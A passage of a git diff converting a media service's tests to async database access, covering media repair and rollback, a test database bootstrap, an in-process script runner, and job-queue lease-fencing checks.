-const c1 = apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });
-assert.deepStrictEqual(c1.old, { size_bytes: 13631488, content_hash: null, location_state: 'corrupt', location_size: 14609471 });
-assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 14609471, content_hash: 'f'.repeat(64) });
-assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get().state, 'present');
-assert.match(apply(h, plan(vod(), { b2: good }), { size: 1, sha256: 'e'.repeat(64) }).skipped, /changed since/, 'a second run finds the row moved on');
+ const c1 = await apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });
+ assert.deepStrictEqual(c1.old, { size_bytes: 13631488, content_hash: null, location_state: 'corrupt', location_size: 14609471 });
+ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 14609471, content_hash: 'f'.repeat(64) });
+ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get()).state, 'present');
+ assert.match((await apply(h, plan(vod(), { b2: good }), { size: 1, sha256: 'e'.repeat(64) })).skipped, /changed since/, 'a second run finds the row moved on');
-const c3 = apply(h, { object_id: 'med_3', action: 'failed_recording', provider: 'b2' });
-assert.strictEqual(h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get().lifecycle_status, 'failed');
+ const c3 = await apply(h, { object_id: 'med_3', action: 'failed_recording', provider: 'b2' });
+ assert.strictEqual((await h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get()).lifecycle_status, 'failed');
-const c2 = apply(h, plan(shot), { size: 5120, sha256: 'a'.repeat(64) });
-assert.strictEqual(c2.new.location_state, 'present');
-assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_2'").get().state, 'present');
+ const c2 = await apply(h, plan(shot), { size: 5120, sha256: 'a'.repeat(64) });
+ assert.strictEqual(c2.new.location_state, 'present');
+ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_2'").get()).state, 'present');
-for (const c of [c1, c2, c3]) assert.strictEqual(rollback(h, c).restored, true);
-assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 13631488, content_hash: null, lifecycle_status: 'ready' });
-assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get().state, 'corrupt');
-assert.strictEqual(h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get().lifecycle_status, 'ready');
-assert.strictEqual(rollback(h, c1).skipped, 'the row changed since', 'rolling back twice changes nothing');
+ for (const c of [c1, c2, c3]) assert.strictEqual((await rollback(h, c)).restored, true);
+ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 13631488, content_hash: null, lifecycle_status: 'ready' });
+ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get()).state, 'corrupt');
+ assert.strictEqual((await h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get()).lifecycle_status, 'ready');
+ assert.strictEqual((await rollback(h, c1)).skipped, 'the row changed since', 'rolling back twice changes nothing');
-// ── resize: the copy is the object (same hash), only the recorded size went stale again ──
-// (2026-09-26: a projection from the legacy vods row put the mid-upload size back after the rebaseline.)
-const HASH = 'b'.repeat(64);
-const reverted = vod({ object_id: 'med_4', content_hash: HASH, legacy_ref: 'legacy:live:vod:939', size_bytes: 63708377, locations: [{ provider: 'b2', key: 'vods/c.webm', state: 'corrupt', size_bytes: 63803675 }] });
-const r4 = plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: HASH } });
-assert.strictEqual(r4.action, 'resize');
-assert.match(r4.reason, /hashes to the object's content_hash/);
-assert.strictEqual(plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: 'c'.repeat(64) } }).action, 'lost', 'other bytes than the hash: real corruption, never resized');
-assert.strictEqual(plan(reverted, { b2: good }).action, 'lost', 'no download, no resize');
-h.exec('CREATE TABLE vods (id INTEGER PRIMARY KEY, file_size INTEGER)');
-h.prepare("INSERT INTO vods VALUES (939, 63708377), (1277, 13631488)").run();
-h.prepare("INSERT INTO media_objects VALUES ('med_4', 63708377, ?, 'ready', NULL)").run(HASH);
-h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_4', 'b2', 'vods/c.webm', 'corrupt', 63803675)").run();
-assert.match(apply(h, r4, { size: 63803675, sha256: 'c'.repeat(64) }).skipped, /does not hash/, 'resize writes only bytes that match the hash');
-const c4 = apply(h, r4, { size: 63803675, sha256: HASH });
-assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63803675, content_hash: HASH });
-assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_4'").get().state, 'present');
-assert.strictEqual(h.prepare('SELECT file_size FROM vods WHERE id = 939').get().file_size, 63803675, 'the legacy row agrees, so its projection cannot undo the repair');
-assert.deepStrictEqual([c4.old.legacy_file_size, c4.new.legacy_file_size], [63708377, 63803675]);
-// A rebaseline writes the legacy row too.
-const c5 = apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });
-assert.strictEqual(h.prepare('SELECT file_size FROM vods WHERE id = 1277').get().file_size, 14609471);
-for (const c of [c4, c5]) assert.strictEqual(rollback(h, c).restored, true);
-assert.deepStrictEqual(h.prepare('SELECT id, file_size FROM vods ORDER BY id').all(), [{ id: 939, file_size: 63708377 }, { id: 1277, file_size: 13631488 }], 'rollback restores the legacy rows');
-assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63708377, content_hash: HASH });
+ // ── resize: the copy is the object (same hash), only the recorded size went stale again ──
+ // (2026-09-26: a projection from the legacy vods row put the mid-upload size back after the rebaseline.)
+ const HASH = 'b'.repeat(64);
+ const reverted = vod({ object_id: 'med_4', content_hash: HASH, legacy_ref: 'legacy:live:vod:939', size_bytes: 63708377, locations: [{ provider: 'b2', key: 'vods/c.webm', state: 'corrupt', size_bytes: 63803675 }] });
+ const r4 = plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: HASH } });
+ assert.strictEqual(r4.action, 'resize');
+ assert.match(r4.reason, /hashes to the object's content_hash/);
+ assert.strictEqual(plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: 'c'.repeat(64) } }).action, 'lost', 'other bytes than the hash: real corruption, never resized');
+ assert.strictEqual(plan(reverted, { b2: good }).action, 'lost', 'no download, no resize');
+ h.exec('CREATE TABLE vods (id INTEGER PRIMARY KEY, file_size INTEGER)');
+ await h.prepare("INSERT INTO vods VALUES (939, 63708377), (1277, 13631488) RETURNING id").run();
+ await h.prepare("INSERT INTO media_objects VALUES ('med_4', 63708377, ?, 'ready', NULL)").run(HASH);
+ await h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_4', 'b2', 'vods/c.webm', 'corrupt', 63803675) RETURNING id").run();
+ assert.match((await apply(h, r4, { size: 63803675, sha256: 'c'.repeat(64) })).skipped, /does not hash/, 'resize writes only bytes that match the hash');
+ const c4 = await apply(h, r4, { size: 63803675, sha256: HASH });
+ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63803675, content_hash: HASH });
+ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_4'").get()).state, 'present');
+ assert.strictEqual((await h.prepare('SELECT file_size FROM vods WHERE id = 939').get()).file_size, 63803675, 'the legacy row agrees, so its projection cannot undo the repair');
+ assert.deepStrictEqual([c4.old.legacy_file_size, c4.new.legacy_file_size], [63708377, 63803675]);
+ // A rebaseline writes the legacy row too.
+ const c5 = await apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });
+ assert.strictEqual((await h.prepare('SELECT file_size FROM vods WHERE id = 1277').get()).file_size, 14609471);
+ for (const c of [c4, c5]) assert.strictEqual((await rollback(h, c)).restored, true);
+ assert.deepStrictEqual(await h.prepare('SELECT id, file_size FROM vods ORDER BY id').all(), [{ id: 939, file_size: 63708377 }, { id: 1277, file_size: 13631488 }], 'rollback restores the legacy rows');
+ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63708377, content_hash: HASH });
-console.log('h15 repair: all checks passed');
+ console.log('h15 repair: all checks passed');
+})().catch((err) => { console.error(err); process.exit(1); });
new file mode 100644
new file mode 100644
@@ -0,0 +1,20 @@
@@ -0,0 +1,20 @@
+// Loaded with `node --import` into every test process (test/run.js): one migrated database for the process (ADR-035),
+// PGlite by default or, with MEDIA_TEST_STORE=pg (npm run test:pg), the PostgreSQL + PgBouncer containers with roles
+// and a schema of its own. server/db/database.js getDb() takes it on first use, so test files open no database
+// themselves; the process ends with the test (a container schema is dropped by `scripts/test-services.sh down`).
+import { createRequire } from 'node:module';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const require = createRequire(import.meta.url);
+const root = path.join(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
+const { createTestDb } = require('openvibe-sdk/testing');
+const t = await createTestDb({ migrations: path.join(root, 'migrations'), store: process.env.MEDIA_TEST_STORE || 'pglite', service: 'media', max: 4 });
+// Tests insert rows with small explicit ids (SQLite's AUTOINCREMENT then continued after them; a PostgreSQL identity
+// does not): generated ids start at 100000 here, clear of every id a test names.
+for (const r of await t.db.prepare(`SELECT pg_get_serial_sequence(quote_ident(table_name), column_name) AS seq FROM information_schema.columns
+ WHERE table_schema = current_schema() AND is_identity = 'YES'`).all()) {
+ if (r.seq) await t.db.prepare('SELECT setval(?::regclass, 100000)').get(r.seq);
+}
+globalThis.__ovMediaTestDb = t.db;
+globalThis.__ovMediaTestDbClose = t.close;
new file mode 100644
new file mode 100644
@@ -0,0 +1,42 @@
@@ -0,0 +1,42 @@
+'use strict';
+/**
+ * Runs an operator script (scripts/*.js) inside this test process, on this process's database (a test database is
+ * PGlite in the process: a child process could not reach it). argv is set, stdout/stderr are captured, and
+ * process.exit is intercepted: → { code, out, err }. Module state stays as the script left it, as in a real run.
+ */
+const path = require('path');
+
+class ScriptExit extends Error { constructor(code) { super(`exit ${code}`); this.code = code; } }
+
+async function runScript(file, args = [], { env = {} } = {}) {
+ const saved = { argv: process.argv, exit: process.exit, log: console.log, error: console.error, warn: console.warn, write: process.stdout.write, ewrite: process.stderr.write, env: { ...process.env } };
+ let out = ''; let err = ''; let code = null; let resolve;
+ const finished = new Promise((r) => { resolve = r; });
+ const swallow = (reason) => { if (!(reason instanceof ScriptExit)) { err += `${(reason && reason.stack) || reason}\n`; if (code === null) { code = 1; resolve(); } } };
+ process.on('unhandledRejection', swallow);
+ process.argv = [saved.argv[0], path.resolve(file), ...args];
+ Object.assign(process.env, env);
+ console.log = (...a) => { out += `${a.join(' ')}\n`; };
+ console.error = console.warn = (...a) => { if (a.some((x) => x instanceof ScriptExit)) return; err += `${a.join(' ')}\n`; }; // not the script's .catch of our exit
+ process.stdout.write = (c) => { out += c; return true; };
+ process.stderr.write = (c) => { err += c; return true; };
+ process.exit = (c = 0) => { if (code === null) { code = c; resolve(); } throw new ScriptExit(c); };
+ const mainBefore = process.mainModule;
+ try {
+ delete require.cache[require.resolve(path.resolve(file))];
+ // As the main module, so a script's `require.main === module` CLI part runs.
+ require('module')._load(path.resolve(file), null, true);
+ } catch (e) { if (!(e instanceof ScriptExit)) { err += `${e.stack}\n`; if (code === null) { code = 1; resolve(); } } }
+ await finished;
+ await new Promise((r) => setImmediate(r)); // the script's own .catch after the intercepted exit
+ process.mainModule = mainBefore;
+ process.argv = saved.argv; process.exit = saved.exit;
+ console.log = saved.log; console.error = saved.error; console.warn = saved.warn;
+ process.stdout.write = saved.write; process.stderr.write = saved.ewrite;
+ for (const k of Object.keys(process.env)) if (!(k in saved.env)) delete process.env[k];
+ Object.assign(process.env, saved.env);
+ process.off('unhandledRejection', swallow);
+ return { code, out, err };
+}
+
+module.exports = { runScript };
@@ -10,153 +10,144 @@ const fs = require('fs');
@@ -10,153 +10,144 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-fencing-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_JOBS_POLL_MS = '50';
-process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-fencing-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_JOBS_POLL_MS = '50';
+ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
-const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
-const waitFor = async (fn, ms = 8000) => {
- const end = Date.now() + ms;
- while (Date.now() < end) { if (await fn()) return true; await sleep(20); }
- return false;
-};
+ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+ const waitFor = async (fn, ms = 8000) => {
+ const end = Date.now() + ms;
+ while (Date.now() < end) { if (await fn()) return true; await sleep(20); }
+ return false;
+ };
-(async () => {
- const db = require('../server/db/database');
- const raw = () => db.getDb();
+ (async () => {
+ const db = require('../server/db/database');
+ const raw = () => db.getDb();
- // ── 1. Additive migration: an older database gains lease_token; its NULL-token running job is recovered ──
- raw();
- db.close();
- {
- const Database = require('better-sqlite3');
- const old = new Database(process.env.DB_PATH);
- old.exec('ALTER TABLE media_jobs DROP COLUMN lease_token');
- old.exec(`INSERT INTO media_jobs (id, app_id, job_type, status, attempts, max_attempts, lease_until)
- VALUES ('mjob_prefence', 'live', 'test.fence', 'running', 1, 3, datetime('now', '+1 hour'))`);
- old.close();
- }
- const cols = raw().prepare('PRAGMA table_info(media_jobs)').all().map((c) => c.name);
- assert.ok(cols.includes('lease_token'), 'lease_token is added to an older media_jobs');
- assert.strictEqual(db.get("SELECT lease_token FROM media_jobs WHERE id = 'mjob_prefence'").lease_token, null);
+ // ── 1. A running job with no lease token (claimed before fencing existed) is still recovered ──
+ await db.run(`INSERT INTO media_jobs (id, app_id, job_type, status, attempts, max_attempts, lease_until, lease_token)
+ VALUES ('mjob_prefence', 'live', 'test.fence', 'running', 1, 3, datetime('now', '+1 hour'), NULL)`);
- const queue = require('../server/jobs/queue');
- queue.register('test.fence', { lane: 'light', maxAttempts: 3, run: async () => ({ ok: true }) });
- assert.strictEqual(queue.recoverInterrupted({ all: true }), 1, 'a job a pre-fencing process left running (NULL token) is recovered at boot');
- assert.deepStrictEqual([queue.get('mjob_prefence').status, queue.get('mjob_prefence').error_code], ['queued', 'interrupted']);
- queue.cancel('mjob_prefence', { by: 'test' });
- console.log('✅ lease_token is ADD COLUMN on an older database; a NULL-token running job is still recovered at boot');
+ const queue = require('../server/jobs/queue');
+ queue.register('test.fence', { lane: 'light', maxAttempts: 3, run: async () => ({ ok: true }) });
+ assert.strictEqual(await queue.recoverInterrupted({ all: true }), 1, 'a job a pre-fencing process left running (NULL token) is recovered at boot');
+ assert.deepStrictEqual([(await queue.get('mjob_prefence')).status, (await queue.get('mjob_prefence')).error_code], ['queued', 'interrupted']);
+ await queue.cancel('mjob_prefence', { by: 'test' });
+ console.log('✅ a NULL-token running job is still recovered at boot');
- // ── 2. Two claimants ──
- const refused = [];
- queue.bus.on('stale', (e) => refused.push(e));
- const metrics = require('openvibe-shared/metrics').createRegistry();
- require('../server/observability').domainMetrics(metrics, { db, recorder: { activeCount: () => 0 }, events: require('../server/events') });
- const metric = (action) => metrics.getMetric('media_job_stale_completions_total').get({ action });
- const warnings = [];
- const warn = console.warn;
- console.warn = (...a) => { warnings.push(a.join(' ')); };
+ // ── 2. Two claimants ──
+ const refused = [];
+ queue.bus.on('stale', (e) => refused.push(e));
+ const metrics = require('openvibe-shared/metrics').createRegistry();
+ require('../server/observability').domainMetrics(metrics, { db, recorder: { activeCount: () => 0 }, events: require('../server/events') });
+ const metric = (action) => metrics.getMetric('media_job_stale_completions_total').get({ action });
+ const warnings = [];
+ const warn = console.warn;
+ console.warn = (...a) => { warnings.push(a.join(' ')); };
- const changes = [];
- queue.bus.on('change', (row) => changes.push({ id: row.id, status: row.status }));
- const { job } = queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' });
- const a = queue.claim(['test.fence'], { leaseS: 30 });
- assert.strictEqual(a.id, job.id);
- assert.match(a.lease_token, /^[0-9a-f]{32}$/, 'a claim writes a random token');
- assert.ok(!('lease_token' in queue.jobPublic(a)), 'the token never leaves the service');
- assert.strictEqual(queue.renew(job.id, { leaseS: 30, token: a.lease_token }).held, true, 'the holder renews');
+ const changes = [];
+ queue.bus.on('change', (row) => changes.push({ id: row.id, status: row.status }));
+ const { job } = await queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' });
+ const a = await queue.claim(['test.fence'], { leaseS: 30 });
+ assert.strictEqual(a.id, job.id);
+ assert.match(a.lease_token, /^[0-9a-f]{32}$/, 'a claim writes a random token');
+ assert.ok(!('lease_token' in queue.jobPublic(a)), 'the token never leaves the service');
+ assert.strictEqual((await queue.renew(job.id, { leaseS: 30, token: a.lease_token })).held, true, 'the holder renews');
- // A stalls: its lease runs out, recovery takes the job over, B claims it.
- raw().prepare("UPDATE media_jobs SET lease_until = datetime('now', '-1 minute') WHERE id = ?").run(job.id);
- assert.strictEqual(queue.recoverInterrupted({ except: new Set() }), 1);
- assert.deepStrictEqual([queue.get(job.id).status, queue.get(job.id).lease_token], ['queued', null]);
- raw().prepare('UPDATE media_jobs SET run_after = NULL WHERE id = ?').run(job.id);
- const b = queue.claim(['test.fence'], { leaseS: 30 });
- assert.strictEqual(b.id, job.id);
- assert.notStrictEqual(b.lease_token, a.lease_token, 'the second claim has its own token');
- assert.strictEqual(b.attempts, 2);
+ // A stalls: its lease runs out, recovery takes the job over, B claims it.
+ await raw().prepare("UPDATE media_jobs SET lease_until = datetime('now', '-1 minute') WHERE id = ?").run(job.id);
+ assert.strictEqual(await queue.recoverInterrupted({ except: new Set() }), 1);
+ assert.deepStrictEqual([(await queue.get(job.id)).status, (await queue.get(job.id)).lease_token], ['queued', null]);
+ await raw().prepare('UPDATE media_jobs SET run_after = NULL WHERE id = ?').run(job.id);
+ const b = await queue.claim(['test.fence'], { leaseS: 30 });
+ assert.strictEqual(b.id, job.id);
+ assert.notStrictEqual(b.lease_token, a.lease_token, 'the second claim has its own token');
+ assert.strictEqual(b.attempts, 2);
- // A comes back: everything it writes is refused.
- assert.strictEqual(queue.renew(job.id, { leaseS: 30, token: a.lease_token }).held, false, "A's heartbeat is refused");
- raw().exec('CREATE TABLE IF NOT EXISTS fence_probe (x TEXT)');
- assert.throws(() => queue.saveCheckpoint(job.id, { by: 'A' }, () => raw().prepare("INSERT INTO fence_probe VALUES ('A')").run(), { token: a.lease_token }),
- (err) => err.code === 'media.job.lease_lost');
- assert.strictEqual(raw().prepare('SELECT COUNT(*) AS n FROM fence_probe').get().n, 0, "what A's checkpoint wrote alongside rolled back");
- assert.strictEqual(queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null, "A's completion is refused");
- assert.strictEqual(queue.fail(job.id, { message: 'A gave up', token: a.lease_token }), null, "so is A's failure");
- assert.strictEqual(queue.markCancelled(job.id, { token: a.lease_token }), null, 'and its cancel');
- let now = queue.get(job.id);
- assert.deepStrictEqual([now.status, now.result, now.checkpoint, now.lease_token], ['running', null, null, b.lease_token], "B's job is untouched");
- assert.throws(() => queue.succeed(job.id, { by: '?' }), /needs the claim's \{ token \}/, 'a completion without a token is a programming error');
+ // A comes back: everything it writes is refused.
+ assert.strictEqual((await queue.renew(job.id, { leaseS: 30, token: a.lease_token })).held, false, "A's heartbeat is refused");
+ // (The probe row goes in an existing table: the service role creates none.)
+ await assert.rejects(async () => await queue.saveCheckpoint(job.id, { by: 'A' }, async () => await raw().prepare("INSERT INTO media_settings (key, value) VALUES ('fence_probe', 'A')").run(), { token: a.lease_token }),
+ (err) => err.code === 'media.job.lease_lost');
+ assert.strictEqual((await raw().prepare("SELECT COUNT(*) AS n FROM media_settings WHERE key = 'fence_probe'").get()).n, 0, "what A's checkpoint wrote alongside rolled back");
+ assert.strictEqual(await queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null, "A's completion is refused");
+ assert.strictEqual(await queue.fail(job.id, { message: 'A gave up', token: a.lease_token }), null, "so is A's failure");
+ assert.strictEqual(await queue.markCancelled(job.id, { token: a.lease_token }), null, 'and its cancel');
+ let now = await queue.get(job.id);
+ assert.deepStrictEqual([now.status, now.result, now.checkpoint, now.lease_token], ['running', null, null, b.lease_token], "B's job is untouched");
+ await assert.rejects(async () => await queue.succeed(job.id, { by: '?' }), /needs the claim's \{ token \}/, 'a completion without a token is a programming error');
- // B finishes; A's late completion is refused again and B's result stands.
- assert.strictEqual(queue.renew(job.id, { leaseS: 30, token: b.lease_token }).held, true);
- queue.saveCheckpoint(job.id, { by: 'B' }, null, { token: b.lease_token });
- const done = queue.succeed(job.id, { by: 'B' }, { token: b.lease_token });
- assert.deepStrictEqual([done.status, JSON.parse(done.result), done.lease_token], ['succeeded', { by: 'B' }, null]);
- assert.strictEqual(queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null);
- now = queue.get(job.id);
- assert.deepStrictEqual([now.status, JSON.parse(now.result)], ['succeeded', { by: 'B' }], "B's result stands");
- assert.deepStrictEqual(changes.filter((r) => r.id === job.id).map((r) => r.status), ['queued', 'running', 'queued', 'running', 'succeeded'],
- 'claimed by A, taken back by recovery, claimed by B, succeeded once (B); nothing from A');
+ // B finishes; A's late completion is refused again and B's result stands.
+ assert.strictEqual((await queue.renew(job.id, { leaseS: 30, token: b.lease_token })).held, true);
+ await queue.saveCheckpoint(job.id, { by: 'B' }, null, { token: b.lease_token });
+ const done = await queue.succeed(job.id, { by: 'B' }, { token: b.lease_token });
+ assert.deepStrictEqual([done.status, JSON.parse(done.result), done.lease_token], ['succeeded', { by: 'B' }, null]);
+ assert.strictEqual(await queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null);
+ now = await queue.get(job.id);
+ assert.deepStrictEqual([now.status, JSON.parse(now.result)], ['succeeded', { by: 'B' }], "B's result stands");
+ assert.deepStrictEqual(changes.filter((r) => r.id === job.id).map((r) => r.status), ['queued', 'running', 'queued', 'running', 'succeeded'],
+ 'claimed by A, taken back by recovery, claimed by B, succeeded once (B); nothing from A');
- assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'every refusal is counted');
- assert.deepStrictEqual(refused.map((e) => e.action), ['renew', 'checkpoint', 'succeed', 'fail', 'cancel', 'succeed']);
- assert.deepStrictEqual(['succeed', 'fail', 'cancel', 'renew', 'checkpoint'].map(metric), [2, 1, 1, 1, 1], 'media_job_stale_completions_total');
- assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('another claim holds it')), warnings.join('\n'));
- assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('it is succeeded now')));
- console.warn = warn;
- console.log('✅ two claimants: the stale holder\'s heartbeat, checkpoint and completion are refused (logged, counted); the current holder\'s stand');
+ assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'every refusal is counted');
+ assert.deepStrictEqual(refused.map((e) => e.action), ['renew', 'checkpoint', 'succeed', 'fail', 'cancel', 'succeed']);
+ assert.deepStrictEqual(['succeed', 'fail', 'cancel', 'renew', 'checkpoint'].map(metric), [2, 1, 1, 1, 1], 'media_job_stale_completions_total');
+ assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('another claim holds it')), warnings.join('\n'));
+ assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('it is succeeded now')));
+ console.warn = warn;
+ console.log('✅ two claimants: the stale holder\'s heartbeat, checkpoint and completion are refused (logged, counted); the current holder\'s stand');
- // ── 3. Recovery does not take a job whose holder renewed meanwhile ──
- const second = queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' }).job;
- const c = queue.claim(['test.fence'], { leaseS: 30 });
- assert.strictEqual(c.id, second.id);
- const seen = raw().prepare('SELECT * FROM media_jobs WHERE id = ?').get(second.id);
- queue.renew(second.id, { leaseS: 30, token: c.lease_token }); // the lease is live again
- assert.strictEqual(queue.fail(second.id, { message: 'x', code: 'interrupted', retryInS: 0, token: seen.lease_token, takeover: true, expired: true }), null,
- 'a takeover needs the lease to have run out');
- assert.strictEqual(queue.get(second.id).status, 'running');
- assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'a declined takeover is not a stale completion');
- assert.ok(queue.succeed(second.id, { ok: 1 }, { token: c.lease_token }));
- console.log('✅ a takeover is fenced on the token it read and on the lease still being expired');
+ // ── 3. Recovery does not take a job whose holder renewed meanwhile ──
+ const second = (await queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' })).job;
+ const c = await queue.claim(['test.fence'], { leaseS: 30 });
+ assert.strictEqual(c.id, second.id);
+ const seen = await raw().prepare('SELECT * FROM media_jobs WHERE id = ?').get(second.id);
+ await queue.renew(second.id, { leaseS: 30, token: c.lease_token }); // the lease is live again
+ assert.strictEqual(await queue.fail(second.id, { message: 'x', code: 'interrupted', retryInS: 0, token: seen.lease_token, takeover: true, expired: true }), null,
+ 'a takeover needs the lease to have run out');
+ assert.strictEqual((await queue.get(second.id)).status, 'running');
+ assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'a declined takeover is not a stale completion');
+ assert.ok(await queue.succeed(second.id, { ok: 1 }, { token: c.lease_token }));
+ console.log('✅ a takeover is fenced on the token it read and on the lease still being expired');
- // ── 4. The worker: a heartbeat that finds its job taken aborts the handler; its report is refused ──
- const worker = require('../server/jobs/worker');
- let started = null, sawAbort = null;
- queue.register('test.slowfence', {
- lane: 'light', maxAttempts: 3,
- run: (j, ctx) => new Promise((resolve, reject) => {
- started = j.id;
- ctx.signal.addEventListener('abort', () => { sawAbort = ctx.signal.reason; reject(ctx.signal.reason); });
- }),
- });
- require('../server/config').jobs.leaseS = 3; // a heartbeat every second (the floor from the environment is 30 s)
- const slow = queue.enqueue({ appId: 'live', type: 'test.slowfence', createdBy: 'test' }).job;
- worker.start();
- assert.ok(await waitFor(() => started === slow.id && queue.get(slow.id).status === 'running'), 'the worker runs it');
- // Another claimant takes it over (as another process would after the lease ran out).
- const theirs = 'f'.repeat(32);
- raw().prepare('UPDATE media_jobs SET lease_token = ? WHERE id = ?').run(theirs, slow.id);
- assert.ok(await waitFor(() => sawAbort !== null, 5000), 'the heartbeat notices and aborts the handler');
- assert.strictEqual(sawAbort.code, 'media.job.lease_lost');
- await waitFor(() => queue.staleStats().fail === 2);
- const after = queue.get(slow.id);
- assert.deepStrictEqual([after.status, after.lease_token, after.error_code], ['running', theirs, null], "the handler's failure did not overwrite the other claim");
- assert.strictEqual(queue.staleStats().renew, 2);
- worker.stop();
- console.log('✅ the worker aborts a job whose lease it lost, and its failure is refused');
+ // ── 4. The worker: a heartbeat that finds its job taken aborts the handler; its report is refused ──
+ const worker = require('../server/jobs/worker');
+ let started = null, sawAbort = null;
+ queue.register('test.slowfence', {
+ lane: 'light', maxAttempts: 3,
+ run: (j, ctx) => new Promise((resolve, reject) => {
+ started = j.id;
+ ctx.signal.addEventListener('abort', () => { sawAbort = ctx.signal.reason; reject(ctx.signal.reason); });
+ }),
+ });
+ require('../server/config').jobs.leaseS = 3; // a heartbeat every second (the floor from the environment is 30 s)
+ const slow = (await queue.enqueue({ appId: 'live', type: 'test.slowfence', createdBy: 'test' })).job;
+ await worker.start();
+ assert.ok(await waitFor(async () => started === slow.id && (await queue.get(slow.id)).status === 'running'), 'the worker runs it');
+ // Another claimant takes it over (as another process would after the lease ran out).
+ const theirs = 'f'.repeat(32);
+ await raw().prepare('UPDATE media_jobs SET lease_token = ? WHERE id = ?').run(theirs, slow.id);
+ assert.ok(await waitFor(() => sawAbort !== null, 5000), 'the heartbeat notices and aborts the handler');
+ assert.strictEqual(sawAbort.code, 'media.job.lease_lost');
+ await waitFor(() => queue.staleStats().fail === 2);
+ const after = await queue.get(slow.id);
+ assert.deepStrictEqual([after.status, after.lease_token, after.error_code], ['running', theirs, null], "the handler's failure did not overwrite the other claim");
+ assert.strictEqual(queue.staleStats().renew, 2);
+ worker.stop();
